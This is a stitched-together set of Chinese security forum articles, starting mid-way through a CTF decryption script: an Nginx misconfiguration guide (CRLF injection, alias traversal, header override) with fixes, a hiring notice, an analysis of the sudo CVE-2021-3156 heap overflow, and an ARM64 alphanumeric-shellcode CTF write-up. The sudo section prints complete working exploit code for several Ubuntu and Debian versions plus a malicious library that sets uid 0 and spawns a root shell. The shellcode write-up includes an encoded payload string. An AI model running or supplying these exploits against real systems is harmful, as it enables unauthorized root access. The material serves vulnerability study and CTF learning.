y += (Mm[i] * Mm_[i] * b[i])
y = y % M
return y
b = [0x2c2eb0597447608b329d,0x6369510a41dbcbed870,0x301753fa0827117d1968]
m = [0x3100e35e552c1273c959,0x1ac3243c9e81ba850045,0x5ce6a91010e307946b87]
key = crt(b,m)
print (hex(key))
print (str(hex(key)[2:-1]).decode('hex'))
解密代码实现：
sstore3 = 0x505d433947f27742f60b06f350f2583450a1f7221380eeb6
key_tmp =0x6b65795f746869735f69735f6b65795f
sstore5 = 0x6b65795f
sstore6 = 0x74686973
sstore7 = 0x5f69735f
sstore8 = 0x6b65795f
sstore2 = 0xb3c6ef3720
tmp = 0
step = 1
sstore4listall = []
for i in range(1,4):
sstore4 = 0
sstore4list = []
for j in range(0, 32):
sstore4 = ((sstore4 & 0xffffffff) + (sstore2 >> 5)) & 0xffffffff
sstore4list.append(sstore4)
sstore4listall.append(sstore4list)
for i in range(1,4):
first = (sstore3 >> ((24 - i * 8)+4) * 8) & 0xffffffff
second = (sstore3 >> (24 - i * 8) * 8) & 0xffffffff
sstore4 = 0
for j in range(0, 32):
sstore4 = sstore4list[31 - j]
tmp21 = (((first << 4) & 0xffffffff) + sstore7) & 0xffffffff
tmp22 = (first + sstore4) & 0xffffffff
tmp23 = ((first >> 5 )+ sstore8) & 0xffffffff
second = (second - (tmp21 ^ tmp22 ^ tmp23)) & 0xffffffff
tmp11 = (((second << 4) & 0xffffffff) + sstore5) & 0xffffffff
tmp12 = (second + sstore4) & 0xffffffff
tmp13 = ((second >> 5) + sstore6) & 0xffffffff
first = (first - (tmp11 ^ tmp12 ^ tmp13)) & 0xffffffff
tmp = tmp + ((first << (192 - (step * 32))) + (second << (192 - (i * 64))))
step = step + 2
print(hex(tmp))
print (str(hex(tmp)[2:-1]).decode('hex')) | 社区文章 |
作者：[ **phith0n@长亭科技**](https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html)
之前在Sec-News中推荐了一个[开源程序](https://github.com/yandex/gixy)，作用是来检测 Nginx
配置文件中存在的问题。正好 Pwnhub 上周的比赛也出现了一道题，包含由 Nginx 配置错误导致的漏洞。
所以我挑选我觉得比较有趣，而且很有可能犯错误的三个典型案例，来说说 Nginx 配置文件的安全。
另外，本文所涉及的三个案例，均已上线到[Vulhub](https://github.com/phith0n/vulhub/tree/master/nginx/insecure-configuration)，阅读本文的同时可以自己动手测试。
##### `$uri`导致的CRLF注入漏洞
下面两种情景十分常见：
用户访问`http://example.com/aabbcc`， 自动跳转到 `https://example.com/aabbcc`
用户访问`http://example.com/aabbcc`， 自动跳转到 `http://www.example.com/aabbcc`
比如我的博客，访问 http://www.leavesongs.com/other/tinger.html ，将会301跳转到
https://www.leavesongs.com/other/tinger.html 。随着现在 https 的普及，很多站点都强制使用 https
访问，这样的跳转非常常见。
第二个场景主要是为了统一用户访问的域名，更加有益于 SEO 优化。
在跳转的过程中，我们需要保证用户访问的页面不变，所以需要从 Nginx 获取用户请求的文件路径。查看 Nginx 文档，可以发现有三个表示 uri 的变量：
1. `$uri`
2. `$document_uri`
3. `$request_uri`
解释一下，1和2表示的是解码以后的请求路径，不带参数；3表示的是完整的URI（没有解码）。那么，如果运维配置了下列的代码：
location / {
return 302 https://$host$uri;
}
因为`$uri`是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。（关于CRLF注入漏洞，可以参考我的[老文章](https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html).
这个 CRLF 注入漏洞可以导致会话固定漏洞、设置 Cookie 引发的 CSRF 漏洞或者 XSS 漏洞。其中，我们通过注入两个 `\r\n` 即可控制
HTTP 体进行 XSS，但因为浏览器认为这是一个300跳转，所以并不会显示我们注入的内容。
这个情况下，我们可以利用一些技巧：比如使用 CSP 头来 iframe 的地址，这样浏览器就不会跳转，进而执行我们插入的 HTML ：
关于上述利用方法，可以参考我的另一篇文章[《Bottle HTTP
头注入漏洞探究》](https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html)。
如何修复这个 CRLF 漏洞？正确的做法应该是如下：
location / {
return 302 https://$host$request_uri;
}
另外，由`$uri`导致的 CRLF 注入漏洞不仅可能出现在上述两个场景中，理论上，只要是可以设置 HTTP 头的场景都会出现这个问题。
##### 目录穿越漏洞
这个常见于 Nginx 做反向代理的情况，动态的部分被 proxy_pass 传递给后端端口，而静态文件需要 Nginx 来处理。
假设静态文件存储在 `/home/` 目录下，而该目录在 url 中名字为 files ，那么就需要用 alias 设置目录的别名：
location /files {
alias /home/;
}
此时，访问`http://example.com/files/readme.txt`， 就可以获取`/home/readme.txt`文件。
但我们注意到，url上`/files`没有加后缀`/`，而alias设置的`/home/`是有后缀`/`的，这个`/`就导致我们可以从`/home/`目录穿越到他的上层目录：
进而我们获得了一个任意文件下载漏洞。
这个有趣的漏洞出现在了 Pwnhub 上一期比赛[《寻找
SNH48》](https://pwnhub.cn/gamedetail?id=15)中，@Ricter师傅的题目。
如何解决这个漏洞？只需要保证location和alias的值都有后缀`/`或都没有这个后缀。
##### Http Header被覆盖的问题
众所周知，Nginx 的配置文件分为 Server、Location、If
等一些配置块，并且存在包含关系，和编程语言比较类似。如果在外层配置的一些选项，是可以被继承到内层的。
但这里的继承也有一些特性，比如 add_header，子块中配置后将会覆盖父块中的 add_header 添加的所有 HTTP 头，造成一些安全隐患。
如下列代码，Server 块添加了 CSP 头：
server {
...
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
}
但 /test2 的 location 中又添加了 X-Content-Type-Options 头，导致父块中的 add_header 全部失效：
此时，test2 的 csp 就完全失效了，我们成功触发 XSS ：
##### 总结
Nginx配置文件造成的漏洞绝不止这三种，比如之前特别火的[解析漏洞](https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability)，也和
Nginx 的配置有一定关系。
解决这类漏洞，最根本的方法是仔细阅读官方文档，文档里说明了很多配置文件错误和正确的用法。最忌去百度网上的一些解决方法，很多错误就是一传十十传百，最后流传开来的。
另外，本文开头提到的工具 gixy ，我们也可以利用起来，网站上线前进行一下扫描，也许就能发现一些可能存在的问题。
参考文章：
* http://blog.volema.com/nginx-insecurities.html
* https://github.com/phith0n/vulhub/tree/master/nginx/insecure-configuration
* https://hackerone.com/reports/25275
* * * | 社区文章 |
阿里云先知团队招人，base 北京，层级 P6/7
基本要求：
1，深入了解OWASP TOP10原理和对应防范修复方案。
2，深入了解常见的风险发现工具原理和规则，黑盒或白盒等。
有大量代码审计经验和高质量CVE提交经验者优先。
经常分析CVE和有安全风险技术应急经验优先。
有国内大量CMS审计经验者优先。
简历可发给管理 或邮箱 [email protected]
目前已发布的漏洞收集奖励计划已重新开放，大家可多关注。
后期逐步开放更多奖励计划。 | 社区文章 |
#### 前言：
前几天在`chamd5`上分析过该CVE的调用链，本来想着这个bypass手法先存着，但是生活所迫QAQ。
漏洞利用有点过于复杂，多方参考，如有错误请谅解。
#### LC_*控制环境堆：
关于locale和nss的解析可以参考这篇文章：[CVE-2021-3156 sudo heap-based bufoverflow
复现&分析](https://www.anquanke.com/post/id/231408)
在`sudo.c`中，最开始就使用了`setlocale(LC_ALL, '');`来配置字符集环境，会申请和释放大量堆块。
setlocale(LC_ALL, ""); //配置本机字符集
bindtextdomain(PACKAGE_NAME, LOCALEDIR);
textdomain(PACKAGE_NAME);
##### 分析`setlocale`
进入`_nl_find_locale`
获取到环境变量参数
##### 分析`_nl_make_l10nflist`
所以我们只需要载入一个如：`[email protected]`的堆块即可生成一个大的`tcache`块。
#### 分析get_user_info：
get_user_info函数在获取用户信息的时候需要获取用户的用户名和口令信息，这就需要到了nss服务，也就是需要调用passwd对应的服务规范。在函数中会调用根据配置文件初始化file/systemd等服务规范给各个配置文件进行堆分配，然后尽量我们使用`setlocale`生成的巨大块，然后
执行`get_user_info`过程中的堆申请情况：
malloc(0x100)
malloc(0x400)
malloc(0x228) //tcache
malloc(0x10)
malloc(0x78) //passwd->compat files
malloc(0x1000)
malloc(0x17) //unsortbin -> largebin
malloc(0x37)
malloc(0x38)
malloc(0x16)
malloc(0x37)
malloc(0x38)
malloc(0x17)
malloc(0x37)
malloc(0x17)
malloc(0x36)
malloc(0x16)
......
服务调用链：
然后就会在`ni->name = compat`的`service_user`块前面产生一个`0x80`的`free`块
#### EXP解析：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
fprintf(stdout,
" usage: %s <target>\n\n"
" available targets:\n"
" ------------------------------------------------------------\n",
prog
);
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
fprintf(stdout,
" ------------------------------------------------------------\n"
"\n"
" manual mode:\n"
" %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n"
"\n",
prog
);
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
if (argc != 2 && argc != 5) {
usage(argv[0]);
return -1;
}
target_t *target = NULL;
if (argc == 2) {
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target = &targets[ target_idx ];
} else {
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH; // "/usr/bin/sudoedit"
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);
}
printf(
"using target: %s ['%s'] (%d, %d, %d, %d)\n",
target->target_name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
target->null_stomp_len,
target->lc_all_len
);
char *smash_a = calloc(target->smash_len_a + 2, 1); //这里填充多2个字节
char *smash_b = calloc(target->smash_len_b + 2, 1); //这里填充多2个字节
memset(smash_a, 'A', target->smash_len_a); //填充A
memset(smash_b, 'B', target->smash_len_b); //填充B
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
/** 56 * A + '\\' + '\0' + '\0' + '\\' + '\0' + 54 * B + '\\' + '\0'
** 生成113个字节空间
**/
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\"; //写入63个\\
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1); //212
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp); //触发提权
return 0;
}
//*s_envp == 63 * "\\" + "X/P0P_SH3LLZ_" + lc_all指针 + NULL
//*lc_all == "LC_ALL=C.UTF-8@" + 212*"C"
#### 需要关注的点：
* `smash_a + "\\" + smash_b` 差不多等于`0x80`
* * *
由于环境变量刚好赋值在`argv`空间后。所以我们可以使用`envp`配合`argv`进行溢出操作（关于为什么要配合上`envp`，`argv`会固定`user_argv`大小，而由于下一步操作时，
我们需要`user_argv`获取到`0x80`的`free`块，然后需要配合`envp`进行更后续化的内存覆盖）。
###### 参数示例：
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
###### 生成的内存空间如下：
动态查看`NewArgv+1`存储的数据：
可以看到前一部分是`s_argv[]`的参数，后一部分是`s_envp[]`的参数。所以我们可以得知，`execve`执行的`envp`可以覆盖在我们的`argv`后面。
###### 原始调用sudo的参数情况：
#### 执行setlocale后的堆分配情况：
`get_user_info`调用完结果如下：
在`compat`前会固定存在一个`free`的`0x80`块（这是我们使用`setlocale()`人工生成的free块）
然后我们只需要构造好相应的`user_args`为差不多`0x80`大小即可申请到该`free`块了。
然后就可以调用`set_cmnd()`中的`malloc()`申请一个`0x80`的堆块来进行溢出操作了。
#### 内存申请：
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55626bde4a80 (size : 0x580)
last_remainder: 0x55626bddd380 (size : 0x7d0)
unsortbin: 0x55626bddd380 (size : 0x7d0)
largebin[42]: 0x55626bdd62e0 (size : 0x1f50)
largebin[52]: 0x55626bdddb90 (size : 0x6dc0)
(0x20) tcache_entry[0](2): 0x55626bdd4c00 --> 0x55626bddcc80
(0x30) tcache_entry[1](2): 0x55626bdcd250 --> 0x55626bdd07d0
(0x50) tcache_entry[3](2): 0x55626bddccf0 --> 0x55626bddcca0 // 环境变量释放产生的堆块
(0x80) tcache_entry[6](1): 0x55626bdce360 // user_args申请的堆块
(0x90) tcache_entry[7](1): 0x55626bdd6260
(0x100) tcache_entry[14](1): 0x55626bdcd880
(0x110) tcache_entry[15](1): 0x55626bde4960
(0x120) tcache_entry[16](1): 0x55626bdd3a80
(0x1a0) tcache_entry[24](1): 0x55626bdcddb0
(0x230) tcache_entry[33](1): 0x55626bddc920
在`malloc`下断点查看到申请的堆块在`0x55626bdce360`
在`Heap`上搜索`compat`即可获取到`Heap`内部的`service_user`结构体中`compat`位置
如图第二行即为离`malloc`申请堆块最近的位置`0x55626bdce410`，由于`compat`与`service_user`偏移`0x30`，所以`service_user`地址为：`0x55626bdce3e0`，在`malloc`申请的堆空间向后偏移`0xB0`
构造与`LC_ALL`块大小相同的参数块来占用到原始`LC_ALL`块，进而导致缓冲区空间后即为我们构造的环境变量。
然后在调用`for(to = user_args, av = NewArgv + 1; (from = *av);
av++){`过程中给`user_args`配置`"\0"`（`'\\'+'\0'`配置得到一大片`'\0'`的内存空间）
###### 下面是调用后的内存数据：
###### 知道了怎么进行溢出覆盖，那么我们怎么才能做到任意命令执行呢？
在`exp`调用了加载一个新的`libc`，然后调用`libc`中的初始化函数`init`来`execve`我们的shell。
###### 下面是libc的源码：
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
我们只要高权限调用`setuid(0); seteuid(0); setgid(0); setegid(0);`然后执行`execv("/bin/sh",
a_argv);`即可进行提权了。
###### `nss_load_library`结构可用于加载`libc`，下面是源码：
tpedef struct service_library
{
/* Name of service (`files', `dns', `nis', ...). */
const char *name;
/* Pointer to the loaded shared library. */
void *lib_handle;
/* And the link to the next entry. */
struct service_library *next;
} service_library;
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name); //配置ni->library
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); //调用构造的libc
//continue long long function
在sudo执行的末尾会调用`getgrgid()`，然后会调用`nss_load_library`，而一旦`ni->library ==
NULL`就会调用`nss_new_service()`来配置新的`ni ->name`来加载一个新的`libc`。
所以我们只需要在`exp`中就是溢出内存中的`ni->name`指定的`libc`
经过作者`fuzz`拿到的`crash`分析得出，在内存中存在原始`ni->name`为`compat`的`service_user`结构体，所以我们可以直接扫描找到这个`compat`，然后溢出修改`ni->name`就可以调用到我们的`libc`了
##### 调试流程：
b getgrgid
b __libc_dlopen_mode
c
可以看到指定的`X/P0P_SH3LLZ_`的指针是`0x55626bdce410`，即为我们覆盖的`ni->name`
上述就是完整的getshell调用链了。
* * *
##### 参考链接：
> * [CVE-2021-3156调试分析](https://www.anquanke.com/post/id/231077)
> * [CVE-2021-3156
> sudo堆溢出分析与利用](https://blog.csdn.net/qq_41252520/article/details/113388487)
> *
> [cve-2021-3156分析](https://blog.csdn.net/qq_37433000/article/details/113336752)
> * [Sudo Exploit Writeup](https://www.kalmarunionen.dk/writeups/sudo/)
> * [Heap-based buffer overflow in Sudo
> (CVE-2021-3156)](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-> samedit-heap-based-overflow-sudo.txt)
> * [util-linux mount/unmount ASLR bypass via environment
> variable](https://www.spinics.net/lists/util-linux-ng/msg14978.html)
> * [CVE-2021-3156 sudo heap-based bufoverflow
> 复现&分析](https://www.anquanke.com/post/id/231408)
> * [CVE-2021-3156的利用写作（Sudo Baron Samedit）](https://datafarm-> cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-> samedit-7a9a4282cb31)
> | 社区文章 |
# ByteCTF_Final ezsc复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## exec
写一个`shellcode`或者是一个`ORW`。
字符限制在：`0x30~0x39`、`0x41~0x5a`、`0x61~0x7a`
主要的难度是是将`shellcode`转变
首先我们来学习一下`ARM`原本的`shellcode`
.section .text
.global _start
_start:
# system("/bin/sh")
adr x0, ascii
mov x1, #0
mov x2, #0
mov x8, #221
svc 0
ascii:
.string "/bin/sh"
很简单，`adr`获取地址，`mov`来构造参数，但是这里有很多不可见字符，为了构造我们需要的可见字符，我们通过查阅论文[1608.03415v2.pdf
(arxiv.org)](https://arxiv.org/pdf/1608.03415v2.pdf)来构造出其`shellcode`。
## ARMv8 Shellcodes from ‘A’ to ‘Z’ 文献阅读
文献阅读部分，仅仅摘录了关键部分，要想理解原理，请看原文。
### 1\. ARMv8 AArch64
指令格式：`ldr x16 , PC +0x60604`
`0~4`比特编码为`Xt`寄存器，`imm19`即为地址相关的值。有意思的是，寄存器和常量在指令中彼此相连。这对于创建字母数字shell代码来说是一个真正的优势，因为它表明共享前缀的指令可能是相关的。
### 2\. `Building the instruction set`
使用附录A生成了很多字母字符，希望对应到有效指令。
例如，字`000X`对应于`LDR`指令，而字`000s`不对应于任何有效的`AArch64`指令：
有效指令最终被分类为与数据处理、分支、加载/存储等有关。在这一步，我们建立了所有有效的字母数字AArch64指令的第一个列表A0。
从A0开始，我们构造了一个操作码集合A1，其中至少存在一个操作数实例，使得它是字母数字的。最后，我们从A1中提取了可以用于原型更高层次构造的指令。这个最终的列表被称为Amax。
**2.1.`Data processing`**
此外，Amax限制我们将每个指令的sf位设为0，这就限制了我们只能使用大多数指令的32位变体，阻碍了我们修改寄存器的32位上的值
**2.2`Branches`**
只有这几个能跳转。
然而，只有tbz和它的对立面tbnz对循环有实际的用途，因为其他三个分支指令需要一个太大的偏移量。因此，Amax只包含tbz和tbnz作为分支指令。
**2.3 系统调用**
异常和系统指令都不可用。这意味着我们不能使用系统调用，也不能清除指令或数据缓存。这使得编写高级代码具有挑战性，并且依赖于实现
**2.4Load and stores**
许多加载和存储指令可以是字母数字指令。不过需要好好调优。
### 3.高级构造
一个真实的程序可能需要关于寄存器和内存状态的信息，包括程序计数器和处理器标志。使用Amax不能立即获得这些信息。我们通过提供更高层次的构造来克服这个困难，然后这些构造可以组合成更复杂的程序。事实上，事实证明Amax是图灵完备的。通过提供每个构造的多个变体，这些高级构造还可以更容易地将程序变成多态的。
**3.1 Registers operations**
置零
将AArch64寄存器设置为零有多种方法。其中一种是字母数字的，在许多寄存器上都能很好地工作，它包括使用两个以及带有移位寄存器的指令。但是，我们只重置了寄存器的32
lsb。这在处理地址时就成为一个问题。
一个例子：
这对应于字母数字代码1BQj1BQj。下表总结了我们可以执行的一些归零操作:
写入构造的值。
由于没有仅仅使用字母数字执行加载的直接办法，所以我们需要选择一种间接策略，通过加减，来改变值。通过重复操作，我们可以构造任意值。
比如：增加1。
字符代码为：ki01ke0q。
减少一：
字符代码为：ki0qke01。
mov操作
我们可以将源寄存器置为0，然后再与目标寄存器以后即可。
### Fully Alphanumeric AArch64
编码器E是用PHP编写的，而相应的解码器D是用Amax的指令实现的，作为向量的一部分。最后，我们实现了一个链接器LD，它将编码的有效负载嵌入到d中。该操作生成一个字母数字程序a←LD(E(P))
编码器
由于我们有62个字母数字字符，理论上每一个字母数字字节几乎可以编码6位。然而，为了保持aarch64的特性，我们只对每个字母数字字节编码4位。这将有效负载P的每个二进制字节分散到2个字母数字连续字符上。编码器E的源代码可以在附录D中找到，它分割输入字节P[i]，并在每一个小块中添加0x40。
0以一种特殊的方式编码:上述编码将给出0x40，即字符’ @
‘，它不属于我们的字母数字字符集。将0x10加到之前计算的a[k]上，将其转换为0x50，对应于’ P ‘。
解码器
下面是我们用来解码的小`trick`。
第一个`eon`操作，将WA左移20位，并将其反置。因为`Wz`为0
ands仅用于保留wB的4个LSBs。之所以使用模式0xFFFF000F(而不是简单的0xF)，是因为指令和wB, wB,
0xFFFF000F是字母数字，而和wB, wB, 0xF不是。
最后一个`econ`操作，wA向右移动了16位，然后与`WB`异或。
最终执行的操作如下：
## 调试过程中遇到的问题
如果说，这道题让我收获最多的是，不是知道这个东西该如何去转，而是在这次调试中遇到很多很有意思的问题，虽然调试了很久，但是学到了很多东西。
`qemu-arrch64-static`启动的`ezsc`运行到`mmap`就直接报错。
根本原因：是我的`-L 库地址`有问题，后来再询问`ling`的时候，感谢`ling`大佬给我的`arm`库包，能够直接运行成功。
直接原因：是地址碰撞了，与`qemu`翻译地址撞了。所以我们可以`patch`一下，即可成功【虽然，执行下来了，但是程序还是出`bug`】。
调试过程中不明原因出现段错误。
原因：`mmap`申请内存是匿名页，如果没有对自身程序没有对该片区域进行访存操作，在qemu下如果有外部进程对其进行读取或写入等访存操作就会报错，然后我们使用的是`pwndbg`，而`pwndbg`会根据寄存器提前查看内存，如果这部分内存没有值，也就是这个页，没有COW到本地，就会出现报错。
## 处理办法
处理办法:
我们可以让shellcode的长度大于0x3000，使在写入的时候就已经创建了内存，那么在`pwndbg`在调试程序的时候，就不会发生错误了。
`helloworld.txt`
jiL0JaBqJe4qKbL0kaBqkM91k121sBSjsBSjb2Sjb8Y7R1A9Y5A9Jm01Je0qrR2J9O0r9CrJyI38ki01ke0qBh01Bd0qszH6PPBPJHMBAOPPPPIAAKPPPPIDPPPPPPADPPALPPECPBBPJAMBPAPCHPMBPABPJAOBBAPPDPOIJAOOBOCGPAALPPECAOBHPPGADAPPPPOIFAPPPPEDJPPAHPEBOGOOOOAGLPPCEOMFOMGKKNJIOMPCPPIAOCPKPPOIOCPCPPJJFPPBDPCIHPPPPPCDGCPFPPIANLOOOOIGOLOOOOAGOCPKDPOIOMGKLBJHLPPCEOMFOMGKKOJIPPPMHPEBOMPCPPIANDOOOOIGJPPLHPEBNBOOOOIGHPPMHPEBNPOOOOIGHPPMHPEBMNOOOOIGNPPMHPEBMLOOOOIGHPPEHPEBMJOOOOIGPPPDHPEBMHOOOOIGNPPNHPEBMFOOOOIGNPPMHPEBMDOOOOIGDPPNHPEBMBOOOOIGHPPMHPEBMPOOOOIGHPPLHPEBLNOOOOIGBPPDHPEBLLOOOOIGDPPAHPEBLJOOOOIGPPPPHPEBOMGKLAJHLPPCEOMFBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB